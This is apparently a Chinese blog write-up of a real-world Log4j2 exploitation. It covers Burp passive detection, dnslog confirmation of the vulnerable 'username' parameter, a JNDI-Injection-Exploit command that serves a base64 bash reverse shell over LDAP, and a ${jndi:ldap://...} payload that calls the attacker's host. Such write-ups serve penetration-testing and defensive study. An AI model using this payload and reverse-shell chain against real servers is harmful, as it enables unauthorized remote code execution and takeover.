在現在以及未來的一段時間里,Log4j2 漏洞依然是滲透和排查的重點。在測試靶場里復現多次,在實戰中遇到還是十分興奮,So,總得記錄點什么吧。
01、漏洞發現
通過burp插件的方式,將Log4j2漏洞檢測能力集成到burp進行被動掃描。在訪問網站抓包的過程中,檢測到目標站點存在Log4j2 RCE漏洞。
02、確認漏洞參數
由於使用參數Fuzz,每個數據包里都夾帶多個參數注入Payload,我們需要進一步定位到具體的漏洞參數位置。
(1)登錄ceye.io,可以查看當前的dnslog。
(2)對比burp參數注入的payload和dnslog請求,可初步確認參數username存在Log4j2 RCE漏洞。
03、構建ldap服務
通過JNDI注入利用的工具,構建好惡意類地址和ldap服務,為進一步漏洞利用做好准備。
(1)構建payload,將要執行的命令進行base64編碼,可通過Java Runtime 配合 bash 編碼實現。
在線編碼地址:
https://www.jackson-t.ca/runtime-exec-payloads.html
(2)用JNDIExploit啟動一個ldap的服務。
命令如下:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "編碼后的bash反彈shell命令" -A “監聽的IP地址”
04、獲取目標權限
利用Log4j2漏洞向目標服務器發送構造的payload語句,反彈shell,從而獲取目標服務器權限。
(1)啟動端口監聽
(2)在burp進行構造payload,url編碼后發送請求。
Payload:
?username=${jndi:ldap://xxx.xxx.xxx.xxx:1389/pgc2pp}
(3)服務端成功接收到bash反彈的shell。